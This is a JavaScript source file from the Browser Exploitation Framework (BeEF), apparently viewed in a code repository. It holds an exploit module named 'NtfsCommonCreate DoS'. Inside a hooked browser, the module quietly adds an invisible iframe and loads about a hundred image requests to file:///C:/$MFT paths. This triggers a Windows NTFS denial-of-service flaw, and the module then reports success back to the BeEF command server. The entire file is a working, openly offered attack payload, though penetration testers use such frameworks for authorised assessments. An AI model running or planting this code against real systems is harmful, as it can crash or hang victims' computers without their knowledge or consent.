Files
beef/modules/exploits/ntfscommoncreate_dos/command.js
2025-12-26 19:18:05 +10:00

22 lines
668 B
JavaScript

//
// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var dom = beef.dom.createInvisibleIframe();
var num_images = 100;
beef.debug('[NtfsCommonCreate DoS] Initiating ' + num_images + ' requests to $MFT...');
for (var i = 0; i <= num_images; i++) {
var path = 'C:/$MFT/' + Math.random().toString(36).substring(2,10);
var img = new Image;
img.src = 'file:///' + path;
dom.appendChild(img);
}
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=DoS request sent');
});